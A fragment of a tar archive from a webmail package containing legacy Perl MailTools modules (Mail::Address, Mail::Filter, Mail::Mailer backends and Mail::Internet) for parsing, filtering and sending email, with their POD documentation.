=cut


wm357/Mail/Address.pm100755    312    144       17543  7052453243  13617 0ustar  webmailusers# Mail::Address.pm
#
# Copyright (c) 1995-8 Graham Barr <gbarr@pobox.com>. All rights reserved.
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.

package Mail::Address;
use strict;

use Carp;
use vars qw($VERSION);
use locale;

$VERSION = "1.16";
sub Version { $VERSION }

#
# given a comment, attempt to extract a person's name
#

sub _extract_name
{
    local $_ = shift || '';
    
    # trim whitespace
    s/^\s+//;
    s/\s+$//;
    s/\s+/ /;

    # Disregard numeric names (e.g. 123456.1234@compuserve.com)
    return "" if /^[\d ]+$/;

    # remove outermost parenthesis
    s/^\(|\)$//g;

    # remove outer quotation marks
    s/^"|"$//g;

    # remove embedded comments
    s/\(.*\)//g;

    # reverse "Last, First M." if applicable
    s/^([^\s]+) ?, ?(.*)$/$2 $1/;
    s/,.*//;

    # Set the case of the name to first char upper rest lower
    # Upcase first letter on name
    s/\b(\w+)/\L\u$1/igo;

    # Scottish names such as 'McLeod'
    s/\bMc(\w)/Mc\u$1/igo;

    # Irish names such as 'O'Malley, O'Reilly'
    s/\bo'(\w)/O'\u$1/igo;

    # Roman numerals, eg 'Level III Support'
    s/\b(x*(ix)?v*(iv)?i*)\b/\U$1/igo; 

    # some cleanup
    s/\[[^\]]*\]//g;
    s/(^[\s'"]+|[\s'"]+$)//g;
    s/\s{2,}/ /g;

    return $_;
}

sub _tokenise {
 local($_) = join(',', @_);
 my(@words,$snippet,$field);
 
 s/\A\s+//;
 s/[\r\n]+/ /g;

 while ($_ ne '')
  {
   $field = '';
   if( s/^\s*\(/(/ )    # (...)
    {
     my $depth = 0;

     PAREN: while(s/^(\(([^\(\)\\]|\\.)*)//)
      {
       $field .= $1;
       $depth++;
       while(s/^(([^\(\)\\]|\\.)*\)\s*)//)
        {
         $field .= $1;
         last PAREN unless --$depth;
	 $field .= $1 if s/^(([^\(\)\\]|\\.)+)//;
        }
      }

     carp "Unmatched () '$field' '$_'"
        if $depth;

     $field =~ s/\s+\Z//;
     push(@words, $field);

     next;
    }

      s/^("([^"\\]|\\.)*")\s*//       # "..."
   || s/^(\[([^\]\\]|\\.)*\])\s*//    # [...]
   || s/^([^\s\Q()<>\@,;:\\".[]\E]+)\s*//
   || s/^([\Q()<>\@,;:\\".[]\E])\s*//
     and do { push(@words, $1); next; };

   croak "Unrecognised line: $_";
  }

 push(@words, ",");

 \@words;
}

sub _find_next {
 my $idx = shift;
 my $tokens = shift;
 my $len = shift;
 while($idx < $len) {
   my $c = $tokens->[$idx];
   return $c if($c eq "," || $c eq "<");
   $idx++;
 }
 return "";
}

sub _complete {
 my $pkg = shift;
 my $phrase = shift;
 my $address = shift;
 my $comment = shift;
 my $o = undef;

 if(@{$phrase} || @{$comment} || @{$address}) {
  $o = $pkg->new(join(" ",@{$phrase}), 
                 join("", @{$address}),
                 join(" ",@{$comment}));
  @{$phrase} = ();
  @{$address} = ();
  @{$comment} = ();
 }

 return $o;
}


sub new {
 my $pkg = shift;
 my $me = bless [@_], $pkg;
 return $me;
}


sub parse {
 my $pkg = shift;

 local $_;

 my @phrase  = ();
 my @comment = ();
 my @address = ();
 my @objs    = ();
 my $depth   = 0;
 my $idx = 0;
 my $tokens = _tokenise(grep { defined $_} @_);
 my $len = scalar(@{$tokens});
 my $next = _find_next($idx,$tokens,$len);

 for( ; $idx < $len ; $idx++) {
  $_ = $tokens->[$idx];

  if(substr($_,0,1) eq "(") {
   push(@comment,$_);
  }
  elsif($_ eq '<') {
   $depth++;
  }
  elsif($_ eq '>') {
   $depth-- if($depth);
   unless($depth) {
    my $o = _complete($pkg,\@phrase, \@address, \@comment);
    push(@objs, $o) if(defined $o);
    $depth = 0;
    $next = _find_next($idx,$tokens,$len);
   }
  }
  elsif($_ eq ',') {
   warn "Unmatched '<>'" if($depth);
   my $o = _complete($pkg,\@phrase, \@address, \@comment);
   push(@objs, $o) if(defined $o);
   $depth = 0;
   $next = _find_next($idx+1,$tokens,$len);
  }
  elsif($depth) {
   push(@address,$_);
  }
  elsif($next eq "<") {
   push(@phrase,$_);
  }
  elsif($_ =~ /\A[\Q.\@:;\E]\Z/ || !scalar(@address) || $address[$#address] =~ /\A[\Q.\@:;\E]\Z/) {
   push(@address,$_);
  }
  else {
   warn "Unmatched '<>'" if($depth);
   my $o = _complete($pkg,\@phrase, \@address, \@comment);
   push(@objs, $o) if(defined $o);
   $depth = 0;
   push(@address,$_);
  }
 }
 @objs;
}

sub set_or_get {
 my $me = shift;
 my $i = shift;
 my $val = $me->[$i];

 $me->[$i] = shift if(@_);

 $val;
}


sub phrase  { set_or_get(shift,0,@_) }
sub address { set_or_get(shift,1,@_) }
sub comment { set_or_get(shift,2,@_) }


sub format {
 my @fmts = ();
 my $me;

 foreach $me (@_) {
   my($phrase,$addr,$comment) = @{$me};
   my @tmp = ();

   if(defined $phrase && length($phrase)) {
    push(@tmp, $phrase);
    push(@tmp, "<" . $addr . ">") if(defined $addr && length($addr));
   }
   else {
    push(@tmp, $addr) if(defined $addr && length($addr));
   }
   if(defined($comment) && $comment =~ /\S/) {
    $comment =~ s/^\s*\(?/(/;
    $comment =~ s/\)?\s*$/)/;
   }
   push(@tmp, $comment) if(defined $comment && length($comment));
   push(@fmts, join(" ", @tmp)) if(scalar(@tmp));
 }

 return join(", ", @fmts);
}


sub name 
{
    my $me = shift;
    my $phrase = $me->phrase;
    my $addr = $me->address;
    
    $phrase = $me->comment unless(defined($phrase) && length($phrase));
    
    my $name = _extract_name($phrase);
    
    # first.last@domain address
    if($name eq '' && $addr =~ /([^\%\.\@\_]+([\.\_][^\%\.\@\_]+)+)[\@\%]/o)
    {
	($name = $1) =~ s/[\.\_]+/ /go;
	$name = _extract_name($name);
    }
    
    if($name eq '' && $addr =~ m#/g=#oi)	
    # X400 style address
    {
	my ($f) = $addr =~ m#g=([^/]*)#oi;
	my ($l) = $addr =~ m#s=([^/]*)#io;
	
	$name = _extract_name($f . " " . $l);
    }   
       
       return length($name) ? $name : undef;
}


sub host {
 my $me = shift;
 my $addr = $me->address;
 my $i = rindex($addr,'@');

 my $host = ($i >= 0) ? substr($addr,$i+1) : undef;

 return $host;
}


sub user {
 my $me = shift;
 my $addr = $me->address;
 my $i = index($addr,'@');

 my $user = ($i >= 0) ? substr($addr,0,$i) : $addr;

 return $user;
}


sub path {
 return ();
}


sub canon {
 my $me = shift;
 return ($me->host, $me->user, $me->path);
}

1;


__END__

=head1 NAME

Mail::Address - Parse mail addresses

=head1 SYNOPSIS

    use Mail::Address;
    
    my @addrs = Mail::Address->parse($line);
    
    foreach $addr (@addrs) {
	print $addr->format,"\n";
    }

=head1 DESCRIPTION

C<Mail::Address> extracts and manipulates RFC822 compilant email
addresses. As well as being able to create C<Mail::Address> objects
in the normal manner, C<Mail::Address> can extract addresses from
the To and Cc lines found in an email message.

=head1 CONSTRUCTORS

=over 4

=item new( PHRASE,  ADDRESS, [ COMMENT ])

 Mail::Address->new("Perl5 Porters", "perl5-porters@africa.nicoh.com");

Create a new C<Mail::Address> object which represents an address with the
elements given. In a message these 3 elements would be seen like:

 PHRASE <ADDRESS> (COMMENT)
 ADDRESS (COMMENT)

=item parse( LINE )

 Mail::Address->parse($line);

Parse the given line a return a list of extracted C<Mail::Address> objects.
The line would normally be one taken from a To,Cc or Bcc line in a message

=back

=head1 METHODS

=over 4

=item phrase ()

Return the phrase part of the object.

=item address ()

Return the address part of the object.

=item comment ()

Return the comment part of the object

=item format ()

Return a string representing the address in a suitable form to be placed
on a To,Cc or Bcc line of a message

=item name ()

Using the information contained within the object attempt to identify what
the person or groups name is

=item host ()

Return the address excluding the user id and '@'

=item user ()

Return the address excluding the '@' and the mail domain

=item path ()

Unimplemented yet but should return the UUCP path for the message

=item canon ()

Unimplemented yet but should return the UUCP canon for the message

=back

=head1 AUTHOR

Graham Barr <gbarr@pobox.com>

=head1 COPYRIGHT

Copyright (c) 1995-8 Graham Barr. All rights reserved. This program is free
software; you can redistribute it and/or modify it under the same terms
as Perl itself.

=cut

wm357/Mail/Filter.pm100755    312    144        7376  6700450775  13450 0ustar  webmailusers# Mail::Filter.pm
#
# Copyright (c) 1997 Graham Barr <gbarr@pobox.com>. All rights
# reserved. This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.

package Mail::Filter;

use Carp;
use strict;
use vars qw($VERSION);

$VERSION = "1.01";

sub new {
    my $self = shift;
    
    bless {
	filters => [ @_ ]
    }, $self;
}

sub add {
    my $self = shift;
    push(@{$self->{'filters'}}, @_);
}

sub _filter {
    my $self = shift;
    my $mail = shift;
    my $sub;

    foreach $sub (@{$self->{'filters'}}) {
	if(ref($sub) eq "CODE") {
	    $mail = $sub->($self,$mail);
	}
	elsif(!ref($sub)) {
	    $mail = $self->$sub($mail);
	}
	else {
	   carp "Cannot call filter '$sub', ignored";
	}
	last unless ref($mail);
    }
    # the specification indicates that the result of operations on $mail 
    # should be returned by this function
    return $mail;
}

sub filter {
    my $self = shift;
    my $obj = shift;
    
    if($obj->isa('Mail::Folder')) {
	$self->{'folder'} = $obj;
	my $m;
	foreach $m ($obj->message_list) {
	    my $mail = $obj->get_message($m) || next;
	    $self->{'msgnum'} = $m;
	    _filter($self,$mail);
	}
	delete $self->{'folder'};
	delete $self->{'msgnum'};
    }
    elsif($obj->isa('Mail::Internet')) {
	return _filter($self,$obj);
    }
    else {
	carp "Cannot process '$obj'";
	return undef;
    }
}

sub folder {
    my $self = shift;
    exists $self->{'folder'}
	? $self->{'folder'}
	: undef;
}

sub msgnum {
    my $self = shift;
    exists $self->{'msgnum'}
	? $self->{'msgnum'}
	: undef;
}


1;

__END__

=head1 NAME

Mail::Filter - Filter mail through multiple subroutines

=head1 SYNOPSIS

    use Mail::Filter;
    
    $filter = new Mail::Filter( \&filter1, \&filter2 );
    
    $mail = new Mail::Internet( [<>] );
    $mail = $filter->filter($mail);
    
    $folder = new Mail::Folder( .... );
    $filter->filter($folder);

=head1 DESCRIPTION

C<Mail::Filter> provides an interface to filtering Email through multiple
subroutines.

C<Mail::Filter> filters mail by calling each filter subroutine in turn. Each
filter subroutine is called with two arguments, the first is the filter
object and the second is the mail or folder object being filtered.

The result from each filter sub is passed to the next filter as the mail
object. If a filter subroutine returns undef, then C<Mail::Filter> will abort
and return immediately.

The function returns the result from the last subroutine to operate on the 
mail object.  

=head1 CONSTRUCTOR

=over 4

=item new ( [ FILTER [, ... ]])

Create a new C<Mail::Filter> object with the given filter subroutines. Each
filter may be either a code reference or the name of a method to call
on the <Mail::Filter> object.

=back

=head1 METHODS

=over 4

=item add ( FILTER [, FILTER ...] )

Add the given filters to the end of the fliter list.

=item filter ( MAIL-OBJECT | MAIL-FOLDER )

If the first argument is a C<Mail::Internet> object, then this object will
be passed through the filter list. If the first argument is a C<Mail::Folder>
object, then each message in turn will be passed through the filter list.

=item folder

If the C<filter> method is called with a C<Mail::Folder> object, then the
filter subroutines may call this method to obtain the folder object that is
being processed.

=item msgnum

If the C<filter> method is called with a C<Mail::Folder> object, then the
filter subroutines may call this method to obtain the message number
of the message that is being processed.

=back

=head1 SEE ALSO

L<Mail::Internet>
L<Mail::Folder>

=head1 AUTHOR

Graham Barr E<lt>F<gbarr@pobox.com>E<gt>

=head1 COPYRIGHT

Copyright (c) 1997 Graham Barr. All rights reserved. This program is free
software; you can redistribute it and/or modify it under the same terms
as Perl itself.

=cut


wm357/Mail/Mailer/ 40755    312    144           0  7245677667  13001 5ustar  webmailuserswm357/Mail/Mailer/test.pm100755    312    144         370  6556413311  14350 0ustar  webmailuserspackage Mail::Mailer::test;
use vars qw(@ISA);
require Mail::Mailer::rfc822;
@ISA = qw(Mail::Mailer::rfc822);

sub can_cc { 0 }

sub exec {
    my($self, $exe, $args, $to) = @_;
    exec('sh', '-c', "echo to: " . join(" ",@{$to}) . "; cat");
}

1;
wm357/Mail/Mailer/mail.pm100755    312    144         745  6556413311  14321 0ustar  webmailuserspackage Mail::Mailer::mail;
use vars qw(@ISA);
@ISA = qw(Mail::Mailer);

my %hdrs = qw(Cc ~c Bcc ~b Subject ~s);

sub set_headers {
    my $self = shift;
    my $hdrs = shift;
    my($k,$v);

    while(($k,$v) = each %hdrs) {
	print $self join(" ",$v, $self->to_array($hdrs->{$k})), "\n"
		if defined $hdrs->{$k};
    }
}

sub exec {
    open(STDOUT,">/dev/null"); # this is not portable !!!!
    open(STDERR,">/dev/null"); # this is not portable !!!!
    shift->SUPER::exec(@_);
}
1;
wm357/Mail/Mailer/smtp.pm100755    312    144        2605  7070226403  14373 0ustar  webmailuserspackage Mail::Mailer::smtp;
use vars qw(@ISA);
use Net::SMTP;
use Mail::Util qw(mailaddress);

require Mail::Mailer::rfc822;
@ISA = qw(Mail::Mailer::rfc822);

sub can_cc { 0 }

sub exec {
    my($self, $exe, $args, $to) = @_;
    my %opt = @$args;
    my $host = $opt{'Server'} || undef;
    # for Net::SMTP we do not really exec
    my $smtp = Net::SMTP->new($host, Debug => 0)
	or return undef;

    ${*$self}{'sock'} = $smtp;

    $smtp->mail(mailaddress());
    my $u;
    foreach $u (@$to) {
	$smtp->to($u);
    }
    $smtp->data;
    untie(*$self) if tied *$self;
    tie *$self, 'Mail::Mailer::smtp::pipe',$self;
    $self;
}

sub set_headers {
    my($self,$hdrs) = @_;
    $self->SUPER::set_headers({
	From => "<" . mailaddress() . ">",
	%$hdrs,
	'X-Mailer' => "Mail::Mailer[v$Mail::Mailer::VERSION] Net::SMTP[v$Net::SMTP::VERSION]"
    })
}

sub epilogue {
    my $self = shift;
    my $sock = ${*$self}{'sock'};
    $sock->dataend;
    $sock->quit;
    delete ${*$self}{'sock'};
    untie(*$self);
}

sub close {
    my($self, @to) = @_;
    my $sock = ${*$self}{'sock'};
    if ($sock && fileno($sock)) {
        $self->epilogue;
	close($sock);
    }
}

package Mail::Mailer::smtp::pipe;

sub TIEHANDLE {
    my $pkg = shift;
    my $self = shift;
    my $sock = ${*$self}{'sock'};
    return bless \$sock;
}

sub PRINT {
    my $self = shift;
    my $sock = $$self;
    $sock->datasend( @_ );
}


1;
wm357/Mail/Mailer/sendmail.pm100755    312    144        1053  7070230022  15170 0ustar  webmailuserspackage Mail::Mailer::sendmail;
use vars qw(@ISA);
require Mail::Mailer::rfc822;
@ISA = qw(Mail::Mailer::rfc822);


sub exec {
    my($self, $exe, $args, $to) = @_;
    # Fork and exec the mailer (no shell involved to avoid risks)

    # We should always use a -t on sendmail so that Cc: and Bcc: work
    #  Rumor: some sendmails may ignore or break with -t (AIX?)
    # Chopped out the @$to arguments, because -t means
    # they are sent in the body, and postfix complains if they
    # are also given on comand line.
    exec( $exe, '-t', @$args );
}
wm357/Mail/Mailer/rfc822.pm100755    312    144         510  6556413311  14373 0ustar  webmailuserspackage Mail::Mailer::rfc822;
use vars qw(@ISA);
@ISA = qw(Mail::Mailer);

sub set_headers {
    my $self = shift;
    my $hdrs = shift;
    local($\)="";
    foreach(keys %$hdrs) {
	next unless m/^[A-Z]/;
	print $self "$_: ", join(",", $self->to_array($hdrs->{$_})), "\n";
    }
    print $self "\n";	# terminate headers
}

1;
wm357/Mail/Internet.pm100755    312    144       42250  7125655356  14025 0ustar  webmailusers# Mail::Internet.pm
#
# Copyright (c) 1995-8 Graham Barr <gbarr@pobox.com>. All rights
# reserved. This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.
#

package Mail::Internet;
use strict;

require 5.002;

use Carp;
#use AutoLoader; # mjm
use Mail::Header;
use vars qw($VERSION);

BEGIN {
    $VERSION = "1.32";
# mjm    *AUTOLOAD = \&AutoLoader::AUTOLOAD;

    unless(defined &UNIVERSAL::isa) {
	*UNIVERSAL::isa = sub {
	    my($obj,$type) = @_;
	    my $pkg = ref($obj) || $obj;
	    my @pkg = ($pkg);
	    my %done;
	    while(@pkg) {
        	$pkg = shift @pkg;
		return 1 if $pkg eq $type;
        	next if exists $done{$pkg};
        	$done{$pkg} = 1;

		no strict 'refs';

        	unshift @pkg,@{$pkg . "::ISA"}
        	    if(@{$pkg . "::ISA"});
	    }
	    undef;
	}
    }
}


sub new
{
 my $self = shift;
 my $type = ref($self) || $self;
 my $arg = @_ % 2 ? shift : undef;
 my %arg = @_;

 my $me = bless {}, $type;

 $me->{'mail_inet_head'} = $arg{Header} if exists $arg{Header};
 $me->{'mail_inet_body'} = $arg{Body} if exists $arg{Body};

 $me->head->fold_length(delete $arg{FoldLength} || 79); # Default fold length
 $me->head->mail_from($arg{MailFrom}) if exists $arg{MailFrom};
 $me->head->modify(exists $arg{Modify} ? $arg{Modify} : 1);

 if(defined $arg)
  {
   if(ref($arg) eq 'ARRAY')
    {
     $me->header($arg) unless exists $arg{Header};
     $me->body($arg) unless exists $arg{Body};
    }
   elsif(defined fileno($arg))
    {
     $me->read_header($arg) unless exists $arg{Header};
     $me->read_body($arg) unless exists $arg{Body};
    }
  }

 return $me;
}

sub read
{
 my $me = shift;

 $me->read_header(@_);
 $me->read_body(@_);
}

sub read_body
{
 my($me,$fd) = @_;

 $me->body( [ <$fd> ] );
}


sub extract
{
 my $me = shift;
 my $arg = shift;

 $me->head->extract($arg);
 $me->body($arg);
}


sub body
{
 my $me = shift;
 my $body = $me->{'mail_inet_body'} ||= [];

 if(@_)
  {
   my $new = shift;
   $me->{'mail_inet_body'} = ref($new) eq 'ARRAY' ? $new : [ $new ];
  }

 return $body;
}

sub header { shift->head->header(@_) }
sub fold { shift->head->fold(@_) }
sub fold_length { shift->head->fold_length(@_) }
sub combine { shift->head->combine(@_) }
sub print_header { shift->{'mail_inet_head'}->print(@_) }
sub head { shift->{'mail_inet_head'} ||= new Mail::Header }

sub read_header
{
 my $me = shift;
 my $head = $me->head;
 $head->read(@_);
 $head->header();
}

sub clean_header
{
 carp "clean_header depreciated, use ->header" if $^W;
 shift->header();
}

sub tidy_headers
{
 carp "tidy_headers no longer required" if $^W;
}


sub add
{
 my $me = shift;
 my $head = $me->head;
 my $ret;
 while(@_)
  {
   my ($tag,$line) = splice(@_,0,2);

   $ret = $head->add($tag,$line,-1) or
	return undef;
  }

 $ret;
}

sub replace
{
 my $me = shift;
 my $head = $me->head;
 my $ret;

 while(@_)
  {
   my ($tag,$line) = splice(@_,0,2);

   $ret = $head->replace($tag,$line,0) or
	return undef;
  }

 $ret;
}

sub get
{
 my $me = shift;
 my $head = $me->head;
 my @ret = ();
 my $tag;

 foreach $tag (@_)
  {
   last
	if push(@ret, $head->get($tag)) && !wantarray;
  }

 wantarray ? @ret : shift @ret;
}

sub delete
{
 my $me = shift;
 my $head = $me->head;
 my @ret = ();
 my $tag;

 foreach $tag (@_)
  {
   push(@ret, $head->delete($tag));
  }

 @ret;
}

sub dup
{
 my $me = shift;
 my $type = ref($me);
 my $dup = $type->new;

 $dup->{'mail_inet_body'} = [@{$me->body}]
	if exists $me->{'mail_inet_body'};

 $dup->{'mail_inet_head'} = $me->{'mail_inet_head'}->dup
	if exists $me->{'mail_inet_head'};

 $dup;
}

sub empty
{
 my $me = shift;

 %{*$me} = ();

 1;
}

sub print_body
{
 my $me = shift;
 my $fd = shift || \*STDOUT;
 my $ln;

 foreach $ln (@{$me->body})
  {
   print $fd $ln or
	return 0;
  }

 1;
}

sub print
{
 my $me = shift;
 my $fd = shift || \*STDOUT;

 $me->print_header($fd)
    and print $fd "\n"
    and $me->print_body($fd);
}

sub as_string
{
 my $me = shift;

 $me->head->as_string . "\n" . join '', @{ $me->body };
}

sub as_mbox_string
{
 my $me = shift->dup;
 my $escaped = shift;

 $me->head->delete('Content-Length');
 $me->escape_from unless $escaped;
 $me->as_string . "\n";
}

sub remove_sig
{
 my $me = shift;
 my $nlines = shift || 10;

 my $body = $me->body;
 my($line,$i);

 $line = scalar(@{$body});
 return unless($line);

 while($i++ < $nlines && $line--)
  {
   if($body->[$line] =~ /\A--\040?[\r\n]+/)
    {
     splice(@{$body},$line,$i);
     last;
    }
  }
}

sub tidy_body
{
 my $me = shift;

 my $body = $me->body;
 my $line;

 if(scalar(@{$body}))
  {
   shift @$body
        while(scalar(@{$body}) && $body->[0] =~ /\A\s*\Z/);
   pop @$body
        while(scalar(@{$body}) && $body->[-1] =~ /\A\s*\Z/);
  }

 return $body;
}

sub DESTROY {}

# Auto loaded methods go after __END__
__END__

sub reply;


use Mail::Address;

 sub reply
{
 my $me = shift;
 my %arg = @_;
 my $pkg = ref $me;
 my @reply = ();

 local *MAILHDR;
 if(open(MAILHDR,"$ENV{HOME}/.mailhdr")) 
  {
   # User has defined a mail header template
   @reply = <MAILHDR>;
   close(MAILHDR);
  }

 my $reply = $pkg->new(\@reply);

 my($to,$cc,$name,$body,$id);

 # The Subject line

 my $subject = $me->get('Subject') || "";

 $subject = "Re: " . $subject if($subject =~ /\S+/ && $subject !~ /Re:/i);

 $reply->replace('Subject',$subject);

 # Locate who we are sending to
 $to = $me->get('Reply-To')
       || $me->get('From')
       || $me->get('Return-Path')
       || "";

 # Mail::Address->parse returns a list of refs to a 2 element array
 my $sender = (Mail::Address->parse($to))[0];

 $name = $sender->name;
 $id = $sender->address;

 unless(defined $name)
  {
   my $fr = $me->get('From');

   $fr = (Mail::Address->parse($fr))[0] if(defined $fr);
   $name = $fr->name if(defined $fr);
  }

 my $indent = $arg{Indent} || ">";

 if($indent =~ /%/) 
  {
   my %hash = ( '%' => '%');
   my @name = grep(do { length > 0 }, split(/[\n\s]+/,$name || ""));
   my @tmp;

   @name = "" unless(@name);

   $hash{f} = $name[0];
   $hash{F} = $#name ? substr($hash{f},0,1) : $hash{f};

   $hash{l} = $#name ? $name[$#name] : "";
   $hash{L} = substr($hash{l},0,1) || "";

   $hash{n} = $name || "";
   $hash{I} = join("",grep($_ = substr($_,0,1), @tmp = @name));

   $indent =~ s/%(.)/defined $hash{$1} ? $hash{$1} : $1/eg;
  }

 $reply->replace('To', $id);

 # Find addresses not to include
 my %nocc = ();
 my $mailaddresses = $ENV{MAILADDRESSES} || "";
 my $addr;

 $nocc{lc $id} = 1;

 foreach $addr (Mail::Address->parse($reply->get('Bcc'),$mailaddresses)) 
  {
   my $lc = lc $addr->address;
   $nocc{$lc} = 1;
  }

 if($arg{ReplyAll} || 0)
  {
   # Who shall we copy this to
   my %cc = ();

   foreach $addr (Mail::Address->parse($me->get('To'),$me->get('Cc'))) 
    {
     my $lc = lc $addr->address;
     $cc{$lc} = $addr->format unless(defined $nocc{$lc});
    }
   $cc = join(', ',values %cc);

   $reply->replace('Cc', $cc);
  }

 # References
 my $refs = $me->get('References') || "";
 my $mid = $me->get('Message-Id');

 $refs .= " " . $mid if(defined $mid);
 $reply->replace('References',$refs);

 # In-Reply-To
 my $date = $me->get('Date');
 my $inreply = "";

 if(defined $mid)
  {
   $inreply  = $mid;
   $inreply .= " from " . $name if(defined $name);
   $inreply .= " on " . $date if(defined $date);
  }
 elsif(defined $name)
  {
   $inreply = $name . "'s message";
   $inreply .= "of " . $date if(defined $date);
  }

 $reply->replace('In-Reply-To', $inreply);

 # Quote the body
 $body  = $reply->body;

 @$body = @{$me->body};		# copy body
 $reply->remove_sig;		# remove signature, if any
 $reply->tidy_body;		# tidy up
 map { s/\A/$indent/ } @$body;	# indent

 # Add references
 unshift @{$body}, (defined $name ? $name . " " : "") . "<$id> writes:\n";

 if(defined $arg{Keep} && 'ARRAY' eq ref($arg{Keep})) 
  {
   # Copy lines from the original
   my $keep;

   foreach $keep (@{$arg{Keep}}) 
    {
     my $ln = $me->get($keep);
     $reply->replace($keep,$ln) if(defined $ln);
    }
  }

 if(defined $arg{Exclude} && 'ARRAY' eq ref($arg{Exclude}))
  {
   # Exclude lines
   $reply->delete(@{$arg{Exclude}});
  }

 # remove empty header lins
 $reply->head->cleanup;

 $reply;
}

sub add_signature
{
 my $me = shift;
 carp "add_signature depriciated, use ->sign" if $^W;
 $me->sign(File => shift || "$ENV{HOME}/.signature");
}

sub sign
{
 my $me = shift;
 my %arg = @_;
 my $sig;
 my @sig;

 if($sig = delete $arg{File})
  {
   local *SIG;

   if(open(SIG,$sig))
    {
     local $_;
     while(<SIG>) { last unless /\A(--)?\s*\Z/; }

     @sig = ($_,<SIG>,"\n");

     close(SIG);
    }
  }
 elsif($sig = delete $arg{Signature})
  {
   @sig = ref($sig) ? @$sig : split(/\n/, $sig);
  }

 if(@sig)
  {
   $me->remove_sig;
   map(s/\n?\Z/\n/,@sig);
   push(@{$me->body}, "-- \n",@sig);
  }
}

sub _prephdr {

    use Mail::Util;

    my $hdr = shift;

    $hdr->delete('From '); # Just in case :-)

    # An original message should not have any Received lines

    $hdr->delete('Received');

    $hdr->replace('X-Mailer', "Perl5 Mail::Internet v" . $Mail::Internet::VERSION);

    my $name = eval { (getpwuid($>))[6] } || $ENV{NAME} || "";

    while($name =~ s/\([^\(\)]*\)//) { 1; }

    if($name =~ /[^\w\s]/) {
	$name =~ s/"/\"/g;
	$name = '"' . $name . '"';
    }

    my $from = sprintf "%s <%s>", $name, Mail::Util::mailaddress();
    $from =~ s/\s{2,}/ /g;

    my $tag;

    foreach $tag (qw(From Sender)) {
	$hdr->add($tag,$from)
	    unless($hdr->get($tag));
    }
}

sub smtpsend;

use Carp;
use Mail::Util qw(mailaddress);
use Mail::Address;
use Net::Domain qw(hostname);
use Net::SMTP;
use strict;

 sub smtpsend 
{
    my $src  = shift;
    my %opt = @_;
    my $host = $opt{Host};
    my $noquit = 0;
    my $smtp;
    my @hello = defined $opt{Hello} ? (Hello => $opt{Hello}) : ();

    unless(defined($host)) {
	my @hosts = qw(mailhost localhost);
	unshift(@hosts, split(/:/, $ENV{SMTPHOSTS})) if(defined $ENV{SMTPHOSTS});

	foreach $host (@hosts) {
	    $smtp = eval { Net::SMTP->new($host, @hello) };
	    last if(defined $smtp);
	}
    }
    elsif(ref($host) && UNIVERSAL::isa($host,'Net::SMTP')) {
	$smtp = $host;
	$noquit = 1;
    }
    else {
	$smtp = eval { Net::SMTP->new($host, @hello) };
    }

    return ()
	unless(defined $smtp);

    my $hdr = $src->head->dup;

    _prephdr($hdr);

    # Who is it to

    my @rcpt = map { ref($_) ? @$_ : $_ } grep { defined } @opt{'To','Cc','Bcc'};
    @rcpt = map { $hdr->get($_) } qw(To Cc Bcc)
	unless @rcpt;
    my @addr = map($_->address, Mail::Address->parse(@rcpt));

    return ()
	unless(@addr);

    $hdr->delete('Bcc'); # Remove blind Cc's

    # Send it

    my $ok = $smtp->mail( mailaddress() ) &&
		$smtp->to(@addr) &&
		$smtp->data(join("", @{$hdr->header},"\n",@{$src->body}));

    $smtp->quit
	unless $noquit;

    $ok ? @addr : ();
}

sub send;

use Mail::Mailer;
use strict;

 sub send 
{
    my ($src, $type, @args) = @_;

    my $hdr = $src->head->dup;

    _prephdr($hdr);

    my $headers = $hdr->header_hashref;

    # Actually send it
    my $mailer = Mail::Mailer->new($type, @args);
    $mailer->open($headers);
    $src->print_body($mailer);
    $mailer->close();
}

sub nntppost;

use Mail::Util qw(mailaddress);
use Net::NNTP;
use strict;

 sub nntppost
{
    my $mail = shift;
    my %opt = @_;

    my $groups = $mail->get('Newsgroups') || "";
    my @groups = split(/[\s,]+/,$groups);

    return ()
	unless @groups;

    my $hdr = $mail->head->dup;

    _prephdr($hdr);

    # Remove these incase the NNTP host decides to mail as well as me
    $hdr->delete(qw(To Cc Bcc)); 

    my $news;
    my $noquit = 0;
    my $host = $opt{Host};

    if(ref($host) && UNIVERSAL::isa($host,'Net::NNTP')) {
	$news = $host;
	$noquit = 1;
    }
    else {
	my @opt = ();

	push(@opt, $opt{'Host'});

	push(@opt, 'Port', $opt{'Port'})
	    if exists $opt{'Port'};

	push(@opt, 'Debug', $opt{'Debug'})
	    if exists $opt{'Debug'};

	$news = new Net::NNTP(@opt)
	    or return ();
    }

    $news->post(@{$hdr->header},"\n",@{$mail->body});

    my $code = $news->code;

    $news->quit
	unless $noquit;

    return 240 == $code ? @groups : ();
}

sub escape_from
{
 my $me = shift;

 my $body = $me->body;
 local $_;

 scalar grep { s/\A(>*From) />$1 /o } @$body;
}

sub unescape_from
{
 my $me = shift;

 my $body = $me->body;
 local $_;

 scalar grep { s/\A>(>*From) /$1 /o } @$body;
}

1; # keep require happy



=head1 NAME

Mail::Internet - manipulate Internet format (RFC 822) mail messages

=head1 SYNOPSIS

    use Mail::Internet;

=head1 DESCRIPTION

This package provides a class object which can be used for reading, creating,
manipulating and writing a message with RFC822 compliant headers.

=head1 CONSTRUCTOR

=over 4

=item new ( [ ARG ], [ OPTIONS ] )

C<ARG> is optiona and may be either a file descriptor (reference to a GLOB)
or a reference to an array. If given the new object will be
initialized with headers and body either from the array of read from 
the file descriptor.

C<OPTIONS> is a list of options given in the form of key-value
pairs, just like a hash table. Valid options are

=over 8

=item B<Header>

The value of this option should be a C<Mail::Header> object. If given then
C<Mail::Internet> will not attempt to read a mail header from C<ARG>, if
it was specified.

=item B<Body>

The value of this option should be a reference to an array which contains
the lines for the body of the message. Each line should be terminated with
C<\n> (LF). If Body is given then C<Mail::Internet> will not attempt to
read the body from C<ARG> (even if it is specified).

=back

The Mail::Header options C<Modify>, C<MailFrom> and C<FoldLength> may
also be given.

=back

=head1 METHODS

=over 4

=item body ()

Returns the body of the message. This is a reference to an array.
Each entry in the array represents a single line in the message.

=item print_header ( [ FILEHANDLE ] )

=item print_body ( [ FILEHANDLE ] )

=item print ( [ FILEHANDLE ] )

Print the header, body or whole message to file descriptor I<FILEHANDLE>.
I<$fd> should be a reference to a GLOB. If I<FILEHANDLE> is not given the
output will be sent to STDOUT.

    $mail->print( \*STDOUT );  # Print message to STDOUT

=item as_string ()

Returns the message as a single string.

=item as_mbox_string ( [ ALREADY_ESCAPED ] )

